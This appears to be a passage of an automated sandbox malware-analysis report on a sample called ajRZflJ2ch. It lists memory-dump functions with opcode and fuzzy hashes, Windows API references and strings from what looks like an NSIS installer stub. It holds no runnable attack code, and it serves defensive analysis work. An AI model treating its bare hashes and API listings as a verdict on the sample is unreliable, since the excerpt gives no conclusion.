Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf8b1835e8ee70d2ac093d3958217f6f1eed2e937260e4424595dbbac5bf2f37
Instruction ID: b76a94fbf14d801b9b56227a1bf9f803d2afe83f07b2399e2ddedbc773e31d9a
Opcode Fuzzy Hash: bf8b1835e8ee70d2ac093d3958217f6f1eed2e937260e4424595dbbac5bf2f37
Instruction Fuzzy Hash: DD01F9327042546FCB128E649810AFE3FF6DBC9340B18406BF545C7791CA758D02AFA1

Function 000DB2F0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a16d278e195376044847b95319d821738fd385a5e2d37d361ecded53491320a8
Instruction ID: 5953b060a022f23efa9b0ed32d62206b59cb24295c57a1d667d818f3474c6d72
Opcode Fuzzy Hash: a16d278e195376044847b95319d821738fd385a5e2d37d361ecded53491320a8
Instruction Fuzzy Hash: 2D018631B043158FE728AB7D985863E7AEBAFC4B61315443AD905CB320FF70CD01A6A1

Function 39A8CE50 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18f7052015fea6ede77620501bd7525959714ae36d5a8f8b474f1ddf7c33a28
Instruction ID: 4da99985971a04fc66e0f082600328c51d24e07f30865e881ef50a29c1dfd292
Opcode Fuzzy Hash: b18f7052015fea6ede77620501bd7525959714ae36d5a8f8b474f1ddf7c33a28
Instruction Fuzzy Hash: 60018B30D05204CFDB04DFA8D8146EEBBB1EF8E301F90A429C800B3261DB365842CF50

Function 000D8D19 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8960beb6a5a235c84a6da45789993fb7fc178bae2fa3aca4fd7ebc7034f87a05
Instruction ID: 0ab852384d79eacbd6947ddcface50ed799668e66f289a5d3892489674e6d90d
Opcode Fuzzy Hash: 8960beb6a5a235c84a6da45789993fb7fc178bae2fa3aca4fd7ebc7034f87a05
Instruction Fuzzy Hash: 85F08135300214AFDB091AA698509BB7ACBEBC8361B14C42AB909C7391DE71CC0193E0

Function 39A8EC19 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fabdea87e98718eb37ef76938dcb18e7fc0149ee5cf8f4f2067e756165cae310
Instruction ID: e56597e4fc6dccbf0dfaa9e50f99253f42b1fb7ce7812e0ca66d7b96b74ac890
Opcode Fuzzy Hash: fabdea87e98718eb37ef76938dcb18e7fc0149ee5cf8f4f2067e756165cae310
Instruction Fuzzy Hash: 96012B70E0C2949FDF11AB64D8147BE7FB1AB89320F20139FD84197692C734A445CBD2

Function 000DFC40 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07dc34c864eb2885e2967687b339294ab7f0b314a61ea883ea7838b75c99478f
Instruction ID: b325aeae3b9cabc8d557bebdd876975a2e3edec8dfc80d5713bd19eecd5c83ef
Opcode Fuzzy Hash: 07dc34c864eb2885e2967687b339294ab7f0b314a61ea883ea7838b75c99478f
Instruction Fuzzy Hash: 3B016979A00348DFDB058FA5E9186E8BBB1FF8E301F405079E505B72A0DB369996CB60

Function 39A8CE60 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 166015495a6e402befdcd09ecbcd447ead4ab567ec16954271c72fba22c9eb8a
Instruction ID: 0062eccb9641fe269bcca0fca2c1bb0c912041b5774f7675d68d8ded032e5626
Opcode Fuzzy Hash: 166015495a6e402befdcd09ecbcd447ead4ab567ec16954271c72fba22c9eb8a
Instruction Fuzzy Hash: A5F01F74D05208CBDB04EFA9D9546EDBBB6EB8A301F50A529C804B2261DB3A9912CB90

Function 39A8D4C8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7130d1a2a7f3325595565f6c8f84cdcbabf5e6b46a13c32723b93bf0b4150f1e
Instruction ID: ab3fccfd0915c226a42e32b0150033d276e923b062b5f81d875f2281c54f8690
Opcode Fuzzy Hash: 7130d1a2a7f3325595565f6c8f84cdcbabf5e6b46a13c32723b93bf0b4150f1e
Instruction Fuzzy Hash: A2F0E221B4C3801FF70262795451A6B2FBA5FC7A80F1A01BAD542C7656CE958C4553A2

Function 39A89608 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ce32bf3e96df796ed0fddc054bfcd0d1acdb51899072b6f3d6f08e6d540ec83
Instruction ID: 965dcbfd24f34698203d77548c36680e50eb62d8a5252e86b77a33f32673aa66
Opcode Fuzzy Hash: 0ce32bf3e96df796ed0fddc054bfcd0d1acdb51899072b6f3d6f08e6d540ec83
Instruction Fuzzy Hash: 78F0A02234830557E60472AD5855B2B3AAEABC6A96B120436EA02D6254DFA5AC0553F2

Function 000DB158 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a95fd343c2fb4dab4197559f99703d01224113c626026af064a0794e61aeddc4
Instruction ID: dddce0f9d4b77e22c2c145986b195b5fde5878ce7b0541c999d273366b4340a3
Opcode Fuzzy Hash: a95fd343c2fb4dab4197559f99703d01224113c626026af064a0794e61aeddc4
Instruction Fuzzy Hash: BAF09835419F82AFF3116B34ACBC26A7F70FF4B313B996D95E08A86472DB684445CB10

Function 000DFE18 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c65a8fbd79f611ff620b1cd10b07b0059c25b7897d2dec3bf2ba508360f10fd
Instruction ID: da683ac269a9b8c97db4b3bbcaffc297d70abca78614ec0dc87d09e8b44e272f
Opcode Fuzzy Hash: 3c65a8fbd79f611ff620b1cd10b07b0059c25b7897d2dec3bf2ba508360f10fd
Instruction Fuzzy Hash: 42F08578D04208EFCB00DFB8D4486ACBFF0EB0A305F2081BAE805A3320E7314A45DB01

Function 39A8BD98 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a93d4dfe44e94b458541b362a1182f33627cb11100edf35d3f8a6508b14a648a
Instruction ID: 64c003952f5f0d7d1b0295a5ac5d7232041684f5dc343f89822881293f220491
Opcode Fuzzy Hash: a93d4dfe44e94b458541b362a1182f33627cb11100edf35d3f8a6508b14a648a
Instruction Fuzzy Hash: EFE0E570819F82AFF7121B70AC6C26A7F70EB4B307B882989E44A92462C7680045CB01

Function 000D1877 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17c89a69acf20d3c3990bc98861a355d249daf6de09bf30798231f42e949bb7c
Instruction ID: fa2099199e43a7e9272273dcb020bdc345b6f00e0831ec2c7d46d006b9fbcb85
Opcode Fuzzy Hash: 17c89a69acf20d3c3990bc98861a355d249daf6de09bf30798231f42e949bb7c
Instruction Fuzzy Hash: 98E09A319103678ECB129BA09C040EEBB34FE83211B5682A3D410AB0A1FB701A49CBA1

Function 000DFE20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 256f211f9b4b999de4446bca5a1b2cc396e25716080a480971ac5100ba2d319c
Instruction ID: 0514921e997b968fec988ad5f2fe0e1ba3fa8eee6a31568956df943d981e273c
Opcode Fuzzy Hash: 256f211f9b4b999de4446bca5a1b2cc396e25716080a480971ac5100ba2d319c
Instruction Fuzzy Hash: 96E06574D04308EBCB04DFB8E4086ADBBF5AB49305F6080BA9809A3360E7308E81CB40

Function 000D1888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10020515b28732cea48cc21bc215441576601d753a0a33c2a9456738f6dda91c
Instruction ID: e8071344c1759f604ed9db9e60af2667971d76bf36252c2dac849e7754d7ad73
Opcode Fuzzy Hash: 10020515b28732cea48cc21bc215441576601d753a0a33c2a9456738f6dda91c
Instruction Fuzzy Hash: 8BD05B31D2022B97CB10E7A5DC044DFF73CEED5261B904626D52537150FB712659C6E1

Function 000D7EC0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 6bfe9e4ddc3703fabb27178ed1c8188bd7b056dc6bdeb01e91e2ebab0192cb7f
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: 0AC08C3320C2282AA234108FBC40EA7BB8CC3C53B4E31017BF92CC3300A8429C8011F5

Function 000D56FF Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b111cdc37b80ac9cb682db2aa3de31f123284e78d710c23e1e294f254e8047c
Instruction ID: 2359d06a905001b80f0052c27adbf8a992975a428e8e1b85da0842039fe3760e
Opcode Fuzzy Hash: 0b111cdc37b80ac9cb682db2aa3de31f123284e78d710c23e1e294f254e8047c
Instruction Fuzzy Hash: 85E0C2314083844FCB12A774ECA66D83F32BBC1200F044664D4452A66FDF381606DB12

Function 000DFF28 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ce9e41ed67deab1c93650b98fb14db9e17c6e78272c35204e566669d796750b
Instruction ID: abbba354d166c2df2b22b6467049d1afff72e4e984141dca42fd2d40cc83b0d1
Opcode Fuzzy Hash: 3ce9e41ed67deab1c93650b98fb14db9e17c6e78272c35204e566669d796750b
Instruction Fuzzy Hash: 6FD05E70C092489FD790CBA4B855BF9B778AF47301F0051EEE81A63660D7710D20DB51

Function 000D9F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58573c093f07580a3d33b33514f5b59c2f29d12237147d2d5ba33c76c95bc45b
Instruction ID: 5ca02096158fc2eaf6100705dd0292352de140010382a47429bfe9b299631517
Opcode Fuzzy Hash: 58573c093f07580a3d33b33514f5b59c2f29d12237147d2d5ba33c76c95bc45b
Instruction Fuzzy Hash: 50D0673BB000089FDB149F99EC409DDF776FB98221B048116E915A3660C6319925DB60

Function 39A8D095 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 315ce1473b14db1e9886afae9a3b8995b2d00db799ae84c4c769f16b46f51f3f
Instruction ID: e46fe84bbf66008652de9dc1950bf754b85d299bbb3881b463d81ff474ba7978
Opcode Fuzzy Hash: 315ce1473b14db1e9886afae9a3b8995b2d00db799ae84c4c769f16b46f51f3f
Instruction Fuzzy Hash: 56D05E2250E7D00FEB17D238A855488BF610CC652034946FBE498C71E2DA954A8A839A

Function 39A895D8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8051062f857ec41bdca2ff2180dbe44eb70f8fa9c8dfcdb4f680ab4e33dc7700
Instruction ID: 594c7370ca7fb355a37455494f6f1f68bcd317d63d7a2b0872a0ec6e6d226da3
Opcode Fuzzy Hash: 8051062f857ec41bdca2ff2180dbe44eb70f8fa9c8dfcdb4f680ab4e33dc7700
Instruction Fuzzy Hash: C0C01233619B10079614A21CB84058E5F959DC5AA23518A37A805961145E505D4BC385

Function 000DFF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2c41def3e1654b2032b790e299eb641074db6a354ac5a55e912599267fb848a
Instruction ID: b14a9ec418e9201d118e6c187f3fb6bdbfdb15dbf010cf0d51005caca3a0fda6
Opcode Fuzzy Hash: d2c41def3e1654b2032b790e299eb641074db6a354ac5a55e912599267fb848a
Instruction Fuzzy Hash: 35D01270C0530DEFD754DFA4F805BAAB7BCEB47302F4051A9A40963260DB715D50D795

Function 39A8BD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6c4e903e746f4aa904e67bca02e4f000b81fb9d45d7624880b7af6c05315416
Instruction ID: 7dddb84f5ebe5aa0b4d5a104a53619d87a63409d724f074c39531284aa665baa
Opcode Fuzzy Hash: f6c4e903e746f4aa904e67bca02e4f000b81fb9d45d7624880b7af6c05315416
Instruction Fuzzy Hash: 77C08CB4004F0A8BF2042F50BC1CB39B7B8F707303FC82E10E40C028308BB85414C684

Function 39A894B4 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 716b246129e24c0236a8734a08fc35a97bbed81a1f4810104b0f368f8d376633
Instruction ID: 276ce532612d5cda48ad2156652a246b6e629a99df86a30c638d42918be4a25d
Opcode Fuzzy Hash: 716b246129e24c0236a8734a08fc35a97bbed81a1f4810104b0f368f8d376633
Instruction Fuzzy Hash: 31C04C302687088FE7409A5DDC84B653BACFF85F05F5059E1F5088BA26CB66FC049A46

Function 000D5710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 578c58e1c039eafe2ad7dc02d32a6e5baf4eddac55ae23ea493c35e40bec3814
Instruction ID: 6d50d86d322c9afce73450a22193f677b3ffc055186edf4700c8d947c5893e1d
Opcode Fuzzy Hash: 578c58e1c039eafe2ad7dc02d32a6e5baf4eddac55ae23ea493c35e40bec3814
Instruction Fuzzy Hash: CBC080300407184FD741F779EC56655376EB7C07017408530A40925A6FDF7C29469F95

Non-executed Functions

Function 004034A5 Relevance: 75.7, APIs: 32, Strings: 11, Instructions: 410stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,00437800,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(00437800,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(00437800,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,00437800,00437800,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(00437800,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,00437800,00437800,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,00437800,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNEL32(00437000,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(00437800,0040A328,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(00437800,00436800,00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(00437800,00437800,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(00438800,00420EE8,?,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
.tmp, xrefs: 00403861
Error launching installer, xrefs: 004037D0
TEMP, xrefs: 0040372D
NSIS Error, xrefs: 00403567
TMP, xrefs: 00403735
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
\Temp, xrefs: 004036FF
Low, xrefs: 0040371B
~nsu, xrefs: 00403845
SeShutdownPrivilege, xrefs: 0040396F

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-334447862
Opcode ID: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,?), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

M, xrefs: 00404F76
N, xrefs: 00405057
, xrefs: 00405385

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00437800,75572EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,00437800,75572EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,00437800,75572EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,00437800,75572EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,00437800,75572EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

0WB, xrefs: 00405B53
\*.*, xrefs: 00405B65

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
